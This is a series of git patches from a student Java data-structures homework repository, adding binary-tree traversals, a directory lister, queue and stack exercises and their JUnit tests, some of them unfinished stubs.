+++ b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/generic/BinaryTreeUtil.java
@@ -0,0 +1,66 @@
+package com.aaront.exercise.generic;
+
+import java.util.Arrays;
+import java.util.List;
+
+public class BinaryTreeUtil {
+    /**
+     * 用递归的方式实现对二叉树的前序遍历， 需要通过BinaryTreeUtilTest测试
+     *
+     * @param root
+     * @return
+     */
+    public static <T extends Comparable<T>> List<T> preOrderVisit(GenericBinaryTree<T> root) {
+        T[] result = root.traversal(GenericBinaryTree.PREORDER, (T[]) new Integer[0]);
+        return Arrays.asList(result);
+    }
+
+    /**
+     * 用递归的方式实现对二叉树的中遍历
+     *
+     * @param root
+     * @return
+     */
+    public static <T extends Comparable<T>> List<T> inOrderVisit(GenericBinaryTree<T> root) {
+        T[] result = root.traversal(GenericBinaryTree.INORDER, (T[]) new Integer[0]);
+        return Arrays.asList(result);
+    }
+
+    /**
+     * 用递归的方式实现对二叉树的后遍历
+     *
+     * @param root
+     * @return
+     */
+    public static <T extends Comparable<T>> List<T> postOrderVisit(GenericBinaryTree<T> root) {
+        T[] result = root.traversal(GenericBinaryTree.POSTORDER, (T[]) new Integer[0]);
+        return Arrays.asList(result);
+    }
+
+    /**
+     * 用非递归的方式实现对二叉树的前序遍历
+     *
+     * @param root
+     * @return
+     */
+    public static <T extends Comparable<T>> List<T> preOrderWithoutRecursion(GenericBinaryTree<T> root) {
+
+        List<T> result = root.traversalWithoutRecursion(GenericBinaryTree.PREORDER);
+
+        return result;
+    }
+
+    /**
+     * 用非递归的方式实现对二叉树的中序遍历
+     *
+     * @param root
+     * @return
+     */
+    public static <T extends Comparable<T>> List<T> inOrderWithoutRecursion(GenericBinaryTree<T> root) {
+
+        List<T> result = root.traversalWithoutRecursion(GenericBinaryTree.INORDER);
+
+        return result;
+    }
+
+}
\ No newline at end of file
diff --git a/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/generic/GenericBinaryTree.java b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/generic/GenericBinaryTree.java
index e5cf3b439a..ef689f1c54 100644
--- a/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/generic/GenericBinaryTree.java
+++ b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/generic/GenericBinaryTree.java
@@ -1,6 +1,9 @@
 package com.aaront.exercise.generic;
 
+import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.List;
+import java.util.Stack;
 
 public class GenericBinaryTree<T extends Comparable<T>> {
 
@@ -176,6 +179,77 @@ public Object[] traversal(int order) {
         return datas;
     }
 
+    public List<T> traversalWithoutRecursion(int order) {
+        if (order == PREORDER) {
+            return preorderWithoutRecursion(root);
+        } else if (order == INORDER) {
+            return inorderWithoutRecursion(root);
+        } else if (order == POSTORDER) {
+            return postorderWithoutRecursion(root);
+        } else {
+            return hierarchicalTraversalWithoutRecursion(root);
+        }
+    }
+
+    private List<T> preorderWithoutRecursion(BinaryTreeNode<T> root) {
+        List<T> nodes = new ArrayList<>();
+        Stack<BinaryTreeNode<T>> stack = new Stack<>();
+        while (root != null) {
+            nodes.add(root.getData());
+            if (root.getRight() != null) {
+                stack.push(root.getRight());
+            }
+            if (root.getLeft() != null) {
+                root = root.getLeft();
+            } else {
+                if (stack.isEmpty()) break;
+                root = stack.pop();
+            }
+        }
+
+        return nodes;
+    }
+
+    private List<T> inorderWithoutRecursion(BinaryTreeNode<T> root) {
+        List<T> nodes = new ArrayList<>();
+        Stack<BinaryTreeNode<T>> stack = new Stack<>();
+        while (root != null || !stack.isEmpty()) {
+            while (root != null) {
+                stack.push(root);
+                root = root.getLeft();
+            }
+            BinaryTreeNode<T> node = stack.pop();
+            nodes.add(node.getData());
+            root = node.getRight();
+        }
+        return nodes;
+    }
+
+    private List<T> postorderWithoutRecursion(BinaryTreeNode<T> root) {
+        List<T> nodes = new ArrayList<>();
+        Stack<BinaryTreeNode<T>> stack = new Stack<>();
+        stack.push(root);
+        BinaryTreeNode<T> pre = null;
+        BinaryTreeNode<T> cur = null;
+        while (!stack.isEmpty()) {
+            cur = stack.peek();
+            // 如果当前节点是叶子节点 || 当前节点的左右节点都已经被访问过了, 则可以直接访问当前节点
+            if (cur.getLeft() == null && cur.getRight() == null || pre != null && (cur.getLeft() == pre || cur.getRight() == pre)) {
+                nodes.add(cur.getData());
+                stack.pop();
+                pre = cur;
+            } else {
+                if (cur.getRight() != null) stack.push(cur.getRight());
+                if (cur.getLeft() != null) stack.push(cur.getLeft());
+            }
+        }
+        return nodes;
+    }
+
+    private List<T> hierarchicalTraversalWithoutRecursion(BinaryTreeNode<T> root) {
+        return new ArrayList<>();
+    }
+
     private void preorderTraversal(BinaryTreeNode<T> node, Object[] datas) {
         if (node == null) {
             return;
@@ -211,7 +285,7 @@ private void hierarchicalTraversal(BinaryTreeNode<T> node, Object[] datas) {
         GenericQueue<BinaryTreeNode<T>> queue = new GenericQueue<>();
         queue.enQueue(node);
         while (!queue.isEmpty()) {
-            BinaryTreeNode<T> tmp =  queue.deQueue();
+            BinaryTreeNode<T> tmp = queue.deQueue();
             datas[index++] = tmp.getData();
             if (tmp.getLeft() != null) queue.enQueue(tmp.getLeft());
             if (tmp.getRight() != null) queue.enQueue(tmp.getRight());
diff --git a/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/FileListTest.java b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/FileListTest.java
new file mode 100644
index 0000000000..0743437140
--- /dev/null
+++ b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/FileListTest.java
@@ -0,0 +1,20 @@
+package com.aaront.execrise.basic;
+
+import com.aaront.exercise.basic.FileList;
+import org.junit.Test;
+
+import java.io.File;
+
+/**
+ * @author tonyhui
+ * @since 17/5/8
+ */
+public class FileListTest {
+
+    @Test
+    public void testList() {
+        FileList list = new FileList();
+        File file = new File("/Users/tonyhui/Code/coding2017/group01/954958168");
+        list.list(file, 0);
+    }
+}
diff --git a/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/InfixExprTest.java b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/expr/InfixExprTest.java
similarity index 96%
rename from group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/InfixExprTest.java
rename to group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/expr/InfixExprTest.java
index 515fe9ea57..ed30a0e82a 100644
--- a/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/InfixExprTest.java
+++ b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/expr/InfixExprTest.java
@@ -1,4 +1,4 @@
-package com.aaront.execrise.expr;
+package com.aaront.execrise.basic.expr;
 
 import com.aaront.exercise.basic.expr.InfixExpr;
 import org.junit.After;
diff --git a/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/InfixToPostfixTest.java b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/expr/InfixToPostfixTest.java
similarity index 96%
rename from group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/InfixToPostfixTest.java
rename to group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/expr/InfixToPostfixTest.java
index 7f92bf24b7..94e1aec62d 100644
--- a/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/InfixToPostfixTest.java
+++ b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/expr/InfixToPostfixTest.java
@@ -1,4 +1,4 @@
-package com.aaront.execrise.expr;
+package com.aaront.execrise.basic.expr;
 
 import com.aaront.exercise.basic.expr.InfixToPostfix;
 import com.aaront.exercise.basic.expr.PostfixExpr;
diff --git a/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/PostfixExprTest.java b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/expr/PostfixExprTest.java
similarity index 94%
rename from group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/PostfixExprTest.java
rename to group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/expr/PostfixExprTest.java
index 7a6511d663..0d4ecb3052 100644
--- a/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/PostfixExprTest.java
+++ b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/expr/PostfixExprTest.java
@@ -1,4 +1,4 @@
-package com.aaront.execrise.expr;
+package com.aaront.execrise.basic.expr;
 
 
 
diff --git a/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/PrefixExprTest.java b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/expr/PrefixExprTest.java
similarity index 95%
rename from group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/PrefixExprTest.java
rename to group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/expr/PrefixExprTest.java
index cfd2c8e4a1..502ea71a64 100644
--- a/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/PrefixExprTest.java
+++ b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/expr/PrefixExprTest.java
@@ -1,4 +1,4 @@
-package com.aaront.execrise.expr;
+package com.aaront.execrise.basic.expr;
 
 import com.aaront.exercise.basic.expr.PrefixExpr;
 import org.junit.After;
diff --git a/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/TokenParserTest.java b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/expr/TokenParserTest.java
similarity index 96%
rename from group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/TokenParserTest.java
rename to group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/expr/TokenParserTest.java
index 67c54c53ed..11cd06d370 100644
--- a/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/expr/TokenParserTest.java
+++ b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/expr/TokenParserTest.java
@@ -1,4 +1,4 @@
-package com.aaront.execrise.expr;
+package com.aaront.execrise.basic.expr;
 
 import com.aaront.exercise.basic.expr.Token;
 import com.aaront.exercise.basic.expr.TokenParser;
diff --git a/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/generic/BinaryTreeUtilTest.java b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/generic/BinaryTreeUtilTest.java
new file mode 100644
index 0000000000..2b0271f229
--- /dev/null
+++ b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/generic/BinaryTreeUtilTest.java
@@ -0,0 +1,68 @@
+package com.aaront.execrise.generic;
+
+import com.aaront.exercise.generic.BinaryTreeUtil;
+import com.aaront.exercise.generic.GenericBinaryTree;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.List;
+
+
+public class BinaryTreeUtilTest {
+
+    GenericBinaryTree<Integer> root = null;
+
+    @Before
+    public void setUp() throws Exception {
+        root = new GenericBinaryTree<>();
+        root.add(1);
+        root.add(2);
+        root.add(5);
+        root.add(3);
+        root.add(4);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testPreOrderVisit() {
+        List<Integer> result = BinaryTreeUtil.preOrderVisit(root);
+        Assert.assertEquals("[1, 2, 5, 3, 4]", result.toString());
+    }
+
+    @Test
+    public void testInOrderVisit() {
+        List<Integer> result = BinaryTreeUtil.inOrderVisit(root);
+        Assert.assertEquals("[1, 2, 3, 4, 5]", result.toString());
+    }
+
+    @Test
+    public void testPostOrderVisit() {
+        List<Integer> result = BinaryTreeUtil.postOrderVisit(root);
+        Assert.assertEquals("[4, 3, 5, 2, 1]", result.toString());
+    }
+
+
+    @Test
+    public void testInOrderVisitWithoutRecursion() {
+        root.add(6);
+        root.add(7);
+        List<Integer> result = BinaryTreeUtil.inOrderWithoutRecursion(root);
+        Assert.assertEquals("[1, 2, 3, 4, 5, 6, 7]", result.toString());
+
+    }
+
+    @Test
+    public void testPreOrderVisitWithoutRecursion() {
+        root.add(6);
+        root.add(7);
+
+        List<Integer> result = BinaryTreeUtil.preOrderWithoutRecursion(root);
+        Assert.assertEquals("[1, 2, 5, 3, 4, 6, 7]", result.toString());
+
+    }
+}
\ No newline at end of file
diff --git a/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/generic/GenericBinaryTreeTest.java b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/generic/GenericBinaryTreeTest.java
index 6c39ab07e7..97947a385c 100644
--- a/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/generic/GenericBinaryTreeTest.java
+++ b/group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/generic/GenericBinaryTreeTest.java
@@ -5,6 +5,9 @@
 import org.junit.Before;
 import org.junit.Test;
 
+import java.util.Arrays;
+import java.util.List;
+
 /**
  * @author tonyhui
  * @since 17/2/20
@@ -27,6 +30,12 @@ public void testAdd() {
         for (String data : datas) {
             binaryTree.add(data);
         }
+        List<String> preorderWithoutRecursionDatas = binaryTree.traversalWithoutRecursion(GenericBinaryTree.PREORDER);
+        Assert.assertEquals(Arrays.asList(new String[]{"9", "4", "1", "2", "10", "17", "3", "5", "7", "9" }), preorderWithoutRecursionDatas);
+        List<String> inorderWithoutRecursionDatas = binaryTree.traversalWithoutRecursion(GenericBinaryTree.INORDER);
+        Assert.assertEquals(Arrays.asList(new String[]{"1", "10", "17", "2", "3", "4", "5", "7", "9", "9" }), inorderWithoutRecursionDatas);
+        List<String> postorderWithoutRecursionDatas = binaryTree.traversalWithoutRecursion(GenericBinaryTree.POSTORDER);
+        Assert.assertEquals(Arrays.asList(new String[]{"17", "10", "3", "2", "1", "7", "5", "4", "9", "9" }), postorderWithoutRecursionDatas);
         String[] preorderDatas = binaryTree.traversal(GenericBinaryTree.PREORDER, new String[0]);
         Assert.assertArrayEquals(new String[]{"9", "4", "1", "2", "10", "17", "3", "5", "7", "9" }, preorderDatas);
         String[] inorderDatas = binaryTree.traversal(GenericBinaryTree.INORDER, new String[0]);

From b24141e042fde1808c05625d860cf3ca00251466 Mon Sep 17 00:00:00 2001
From: Pan <gqp201210@gmail.com>
Date: Wed, 10 May 2017 00:09:04 +0800
Subject: [PATCH 246/262] bad code, go to sleep

---
 .../java/com/pan/tree/BinaryTreeNode.java     | 35 ++++++++
 .../java/com/pan/tree/BinaryTreeUtil.java     | 90 +++++++++++++++++++
 .../src/main/java/com/pan/tree/FileList.java  | 28 ++++++
 .../java/com/pan/tree/BinaryTreeUtilTest.java | 73 +++++++++++++++
 .../test/java/com/pan/tree/FileListTest.java  | 19 ++++
 5 files changed, 245 insertions(+)
 create mode 100644 group11/252308879/data-structure/src/main/java/com/pan/tree/BinaryTreeNode.java
 create mode 100644 group11/252308879/data-structure/src/main/java/com/pan/tree/BinaryTreeUtil.java
 create mode 100644 group11/252308879/data-structure/src/main/java/com/pan/tree/FileList.java
 create mode 100644 group11/252308879/data-structure/src/test/java/com/pan/tree/BinaryTreeUtilTest.java
 create mode 100644 group11/252308879/data-structure/src/test/java/com/pan/tree/FileListTest.java

diff --git a/group11/252308879/data-structure/src/main/java/com/pan/tree/BinaryTreeNode.java b/group11/252308879/data-structure/src/main/java/com/pan/tree/BinaryTreeNode.java
new file mode 100644
index 0000000000..7860b6b0da
--- /dev/null
+++ b/group11/252308879/data-structure/src/main/java/com/pan/tree/BinaryTreeNode.java
@@ -0,0 +1,35 @@
+package com.pan.tree;
+
+public class BinaryTreeNode<T> {
+	
+	private T data;
+	private BinaryTreeNode<T> left;
+	private BinaryTreeNode<T> right;
+	
+	public BinaryTreeNode(T data){
+		this.data=data;
+	}
+	public T getData() {
+		return data;
+	}
+	public void setData(T data) {
+		this.data = data;
+	}
+	public BinaryTreeNode<T> getLeft() {
+		return left;
+	}
+	public void setLeft(BinaryTreeNode<T> left) {
+		this.left = left;
+	}
+	public BinaryTreeNode<T> getRight() {
+		return right;
+	}
+	public void setRight(BinaryTreeNode<T> right) {
+		this.right = right;
+	}
+	
+	public BinaryTreeNode<T> insert(Object o){
+		return  null;
+	}
+	
+}
diff --git a/group11/252308879/data-structure/src/main/java/com/pan/tree/BinaryTreeUtil.java b/group11/252308879/data-structure/src/main/java/com/pan/tree/BinaryTreeUtil.java
new file mode 100644
index 0000000000..c3c5301eb9
--- /dev/null
+++ b/group11/252308879/data-structure/src/main/java/com/pan/tree/BinaryTreeUtil.java
@@ -0,0 +1,90 @@
+package com.pan.tree;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class BinaryTreeUtil {
+	/**
+	 * 用递归的方式实现对二叉树的前序遍历， 需要通过BinaryTreeUtilTest测试
+	 * 
+	 * @param root
+	 * @return
+	 */
+	public static <T> List<T> preOrderVisit(BinaryTreeNode<T> root) {
+		List<T> result = new ArrayList<T>();
+		
+		return result;
+	}
+
+	/**
+	 * 用递归的方式实现对二叉树的中遍历
+	 * 
+	 * @param root
+	 * @return
+	 */
+	public static <T> List<T> inOrderVisit(BinaryTreeNode<T> root) {
+		List<T> result = new ArrayList<T>();
+		if (root != null){
+			List<T> leftResult = inOrderVisit(root.getLeft());
+			result.add(root.getData());
+//			result = leftResult;
+			List<T> rightResult = inOrderVisit(root.getRight());
+		}
+		return result;
+	}
+
+	/**
+	 * 用递归的方式实现对二叉树的后遍历
+	 * 
+	 * @param root
+	 * @return
+	 */
+	public static <T> List<T> postOrderVisit(BinaryTreeNode<T> root) {
+		List<T> result = new ArrayList<T>();
+
+		return result;
+	}
+	/**
+	 * 用非递归的方式实现对二叉树的前序遍历
+	 * @param root
+	 * @return
+	 */
+	public static <T> List<T> preOrderWithoutRecursion(BinaryTreeNode<T> root) {
+		
+		List<T> result = new ArrayList<T>();		
+		
+		return result;
+	}
+	/**
+	 * 用非递归的方式实现对二叉树的中序遍历
+	 * @param root
+	 * @return
+	 */
+	public static <T> List<T> inOrderWithoutRecursion(BinaryTreeNode<T> root) {
+		
+		List<T> result = new ArrayList<T>();
+		if (root == null){
+			return result;
+		}
+		// 没有子节点
+		if (root.getLeft() == null && root.getRight() == null){
+			result.add(root.getData());
+			return result;
+		}
+
+		BinaryTreeNode<T> leftDepth1 = root.getLeft();
+		BinaryTreeNode<T> leftDepthMax = leftDepth1.getLeft();
+//		int leftDe
+		while (leftDepthMax != null){
+			leftDepthMax = leftDepthMax.getLeft();
+		}
+
+
+
+		BinaryTreeNode<T> rightDepth1 = root.getRight();
+
+
+		return result;
+	}
+	
+}
diff --git a/group11/252308879/data-structure/src/main/java/com/pan/tree/FileList.java b/group11/252308879/data-structure/src/main/java/com/pan/tree/FileList.java
new file mode 100644
index 0000000000..bb25628a82
--- /dev/null
+++ b/group11/252308879/data-structure/src/main/java/com/pan/tree/FileList.java
@@ -0,0 +1,28 @@
+package com.pan.tree;
+
+import java.io.File;
+
+
+public class FileList {
+
+    /**
+     * 给定一个目录，递归给出这个目录下的子目录和文件
+     * @param file
+     */
+    public void list(File file) {
+        String[] path = file.list();
+        for (String pathItem : path) {
+            File fileTmp = new File(file.getAbsolutePath()+"\\"+pathItem);
+            if (fileTmp.isDirectory()){
+                System.out.print("\t");
+                System.out.println(fileTmp);
+                list(fileTmp);
+            }else {
+                System.out.print("\t\t");
+                System.out.println(pathItem);
+            }
+        }
+    }
+
+
+}
diff --git a/group11/252308879/data-structure/src/test/java/com/pan/tree/BinaryTreeUtilTest.java b/group11/252308879/data-structure/src/test/java/com/pan/tree/BinaryTreeUtilTest.java
new file mode 100644
index 0000000000..ae2cb14f30
--- /dev/null
+++ b/group11/252308879/data-structure/src/test/java/com/pan/tree/BinaryTreeUtilTest.java
@@ -0,0 +1,73 @@
+package com.pan.tree;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class BinaryTreeUtilTest {
+
+	BinaryTreeNode<Integer> root = null;
+	@Before
+	public void setUp() throws Exception {
+		root = new BinaryTreeNode<Integer>(1);
+		root.setLeft(new BinaryTreeNode<Integer>(2));
+		root.setRight(new BinaryTreeNode<Integer>(5));
+		root.getLeft().setLeft(new BinaryTreeNode<Integer>(3));
+		root.getLeft().setRight(new BinaryTreeNode<Integer>(4));
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testPreOrderVisit() {
+		
+		List<Integer> result = BinaryTreeUtil.preOrderVisit(root);
+		Assert.assertEquals("[1, 2, 3, 4, 5]", result.toString());
+		
+		
+	}
+	@Test
+	public void testInOrderVisit() {
+
+		List<Integer> result = BinaryTreeUtil.inOrderVisit(root);
+		Assert.assertEquals("[3, 2, 4, 1, 5]", result.toString());
+	}
+	
+	@Test
+	public void testPostOrderVisit() {
+		
+		
+		List<Integer> result = BinaryTreeUtil.postOrderVisit(root);
+		Assert.assertEquals("[3, 4, 2, 5, 1]", result.toString());		
+		
+	}
+	
+	
+	@Test
+	public void testInOrderVisitWithoutRecursion() {
+		BinaryTreeNode<Integer> node = root.getLeft().getRight();
+		node.setLeft(new BinaryTreeNode<Integer>(6));
+		node.setRight(new BinaryTreeNode<Integer>(7));
+		
+		List<Integer> result = BinaryTreeUtil.inOrderWithoutRecursion(root);
+		Assert.assertEquals("[3, 2, 6, 4, 7, 1, 5]", result.toString());		
+		
+	}
+	@Test
+	public void testPreOrderVisitWithoutRecursion() {
+		BinaryTreeNode<Integer> node = root.getLeft().getRight();
+		node.setLeft(new BinaryTreeNode<Integer>(6));
+		node.setRight(new BinaryTreeNode<Integer>(7));
+		
+		List<Integer> result = BinaryTreeUtil.preOrderWithoutRecursion(root);
+		Assert.assertEquals("[1, 2, 3, 4, 6, 7, 5]", result.toString());		
+		
+	}
+}
diff --git a/group11/252308879/data-structure/src/test/java/com/pan/tree/FileListTest.java b/group11/252308879/data-structure/src/test/java/com/pan/tree/FileListTest.java
new file mode 100644
index 0000000000..be080a82ab
--- /dev/null
+++ b/group11/252308879/data-structure/src/test/java/com/pan/tree/FileListTest.java
@@ -0,0 +1,19 @@
+package com.pan.tree;
+
+import org.junit.Test;
+
+import java.io.File;
+
+/**
+ * Created by Pan on.
+ * 2017/5/9
+ */
+public class FileListTest {
+
+    @Test
+    public void testFileList(){
+        FileList fileList = new FileList();
+        fileList.list(new File("E:\\DevWorkspace\\GitHub\\coding2017\\group11"));
+    }
+
+}

From 7a3c0f05ed6e1417d53d0be413cda2e5f8003d70 Mon Sep 17 00:00:00 2001
From: GallenZhang <1298552064@qq.com>
Date: Wed, 10 May 2017 03:07:13 +0800
Subject: [PATCH 247/262] =?UTF-8?q?=E7=AC=AC=E4=B9=9D=E6=AC=A1=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A=E4=B9=8B=E6=95=B0=E6=8D=AE=E7=BB=93=E6=9E=84?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

第九次作业之数据结构
---
 .../1298552064/src/week09/basic/Queue.java    |  75 ++++++++
 .../src/week09/basic/QuickMinStack.java       |  47 +++++
 .../src/week09/basic/StackWithTwoQueues.java  | 111 ++++++++++++
 .../src/week09/basic/TwoStackInOneArray.java  | 170 ++++++++++++++++++
 .../src/week09/test/QuickMinStackTest.java    |  43 +++++
 .../week09/test/StackWithTwoQueuesTest.java   |  45 +++++
 .../week09/test/TwoStackInOneArrayTest.java   |  48 +++++
 7 files changed, 539 insertions(+)
 create mode 100644 group01/1298552064/src/week09/basic/Queue.java
 create mode 100644 group01/1298552064/src/week09/basic/QuickMinStack.java
 create mode 100644 group01/1298552064/src/week09/basic/StackWithTwoQueues.java
 create mode 100644 group01/1298552064/src/week09/basic/TwoStackInOneArray.java
 create mode 100644 group01/1298552064/src/week09/test/QuickMinStackTest.java
 create mode 100644 group01/1298552064/src/week09/test/StackWithTwoQueuesTest.java
 create mode 100644 group01/1298552064/src/week09/test/TwoStackInOneArrayTest.java

diff --git a/group01/1298552064/src/week09/basic/Queue.java b/group01/1298552064/src/week09/basic/Queue.java
new file mode 100644
index 0000000000..fc4cae727b
--- /dev/null
+++ b/group01/1298552064/src/week09/basic/Queue.java
@@ -0,0 +1,75 @@
+package week09.basic;
+
+import java.util.NoSuchElementException;
+
+public class Queue<T> {
+	private Node<T> first;
+	private Node<T> last;
+	private int size;
+	
+	private static class Node<T>{
+		private Node<T> next;
+		private T data;
+	}
+	
+	public Queue(){
+		first = null;
+		last = null;
+		size = 0;
+	}
+	
+	public boolean isEmpty(){
+		return first == null;
+	}
+	
+	public int size(){
+		return size;
+	}
+	
+	public void enQueue(T data){
+		Node<T> oldlast = last;
+		last = new Node<T>();
+		last.data = data;
+		last.next = null;
+		if(isEmpty()){
+			first = last;
+		}else{
+			oldlast.next = last;
+		}
+		size ++;
+	}
+	
+	public T deQueue(){
+		if(isEmpty()){
+			throw new NoSuchElementException("Queue is Empty");
+		}
+		T item = first.data;
+		first = first.next;
+		size --;
+		if(isEmpty()){
+			last = null;
+		}
+		return item;
+	}
+	
+	@Override
+	public String toString(){
+		if(isEmpty()){
+			return "[]";
+		}
+		
+		StringBuffer sb = new StringBuffer("[");
+		Node<T> node = first;
+		while(node != null){
+			if(node.next == null){
+				sb.append(node.data);
+			}else{
+				sb.append(node.data);
+				sb.append(",");
+			}
+			node = node.next;
+		}
+		sb.append("]");
+		return sb.toString();
+	}
+}
diff --git a/group01/1298552064/src/week09/basic/QuickMinStack.java b/group01/1298552064/src/week09/basic/QuickMinStack.java
new file mode 100644
index 0000000000..bf4297c182
--- /dev/null
+++ b/group01/1298552064/src/week09/basic/QuickMinStack.java
@@ -0,0 +1,47 @@
+package week09.basic;
+
+import java.util.EmptyStackException;
+import java.util.Stack;
+
+/**
+ * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
+ * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
+ * @author gallenzhang
+ *
+ */
+public class QuickMinStack {
+	Stack<Integer> stack = new Stack<>();
+	Stack<Integer> minStack = new Stack<>();
+	
+	public void push(int data) {
+		stack.push(data);
+		if(minStack.isEmpty()){
+			minStack.push(data);
+			return ;
+		}
+		
+		if(minStack.peek() > data){
+			minStack.push(data);
+		}
+	}
+
+	public int pop() {
+		if(stack.isEmpty()){
+			throw new EmptyStackException();
+		}
+		
+		int item = stack.pop();
+		if(item == minStack.peek()){
+			minStack.pop();
+		}
+		return item;
+	}
+
+	public int findMin() {
+		if(minStack.isEmpty()){
+			throw new EmptyStackException();
+		}
+		return minStack.peek();
+	}
+	
+}
diff --git a/group01/1298552064/src/week09/basic/StackWithTwoQueues.java b/group01/1298552064/src/week09/basic/StackWithTwoQueues.java
new file mode 100644
index 0000000000..d714c4614e
--- /dev/null
+++ b/group01/1298552064/src/week09/basic/StackWithTwoQueues.java
@@ -0,0 +1,111 @@
+package week09.basic;
+
+import java.util.EmptyStackException;
+
+/**
+ * 用两个队列实现栈
+ * 
+ * @author gallenzhang
+ *
+ */
+public class StackWithTwoQueues {
+	private Queue<Integer> firstQueue = new Queue<>();
+	private Queue<Integer> secondQueue = new Queue<>();
+	
+	public void push(int data) {
+		
+		if(!firstQueue.isEmpty()){
+			firstQueue.enQueue(data);
+			return ;
+		}
+		
+		if(!secondQueue.isEmpty()){
+			secondQueue.enQueue(data);
+			return ;
+		}
+
+		firstQueue.enQueue(data);
+	}
+
+	public int pop() {
+		if(firstQueue.isEmpty() && secondQueue.isEmpty()){
+			throw new EmptyStackException();
+		}
+		
+		int item = -1;
+		int queueSize = 0;
+		
+		if(!firstQueue.isEmpty()){
+			queueSize = firstQueue.size();
+			for(int i = 0 ; i < queueSize; i++){
+				if(i == queueSize - 1){
+					item = firstQueue.deQueue();
+					return item;
+				}
+				secondQueue.enQueue(firstQueue.deQueue());
+			}
+			
+		}
+		
+		if(!secondQueue.isEmpty()){
+			queueSize = secondQueue.size();
+			for(int i = 0; i < queueSize; i++){
+				if(i == queueSize -1){
+					item = secondQueue.deQueue();
+					return item;
+				}
+				firstQueue.enQueue(secondQueue.deQueue());
+			}
+		}
+		return item;
+	}
+	
+	public int size(){
+		return Math.max(firstQueue.size(), secondQueue.size());
+	}
+	
+	public boolean isEmpty(){
+		return size() == 0;
+	}
+	
+	public int peek(){
+		int item = -1;
+		int queueSize = 0;
+		if(firstQueue.isEmpty() && secondQueue.isEmpty()){
+			throw new EmptyStackException();
+		}
+		
+		if(!firstQueue.isEmpty()){
+			queueSize = firstQueue.size();
+			for(int i = 0; i < queueSize; i++){
+				if(i == queueSize - 1){
+					item = firstQueue.deQueue();
+					break;
+				}
+				firstQueue.enQueue(firstQueue.deQueue());
+			}
+			firstQueue.enQueue(item);
+			return item;
+		}
+		
+		if(!secondQueue.isEmpty()){
+			queueSize = secondQueue.size();
+			for(int i = 0; i < queueSize; i++){
+				if(i == queueSize - 1){
+					item = secondQueue.deQueue();
+					break;
+				}
+				secondQueue.enQueue(secondQueue.deQueue());
+			}
+			secondQueue.enQueue(item);
+			return item;
+		}
+		return item;
+	}
+	
+	@Override
+	public String toString(){
+		return firstQueue.isEmpty() ? secondQueue.toString() : firstQueue.toString();
+	}
+
+}
diff --git a/group01/1298552064/src/week09/basic/TwoStackInOneArray.java b/group01/1298552064/src/week09/basic/TwoStackInOneArray.java
new file mode 100644
index 0000000000..ce4f57e7db
--- /dev/null
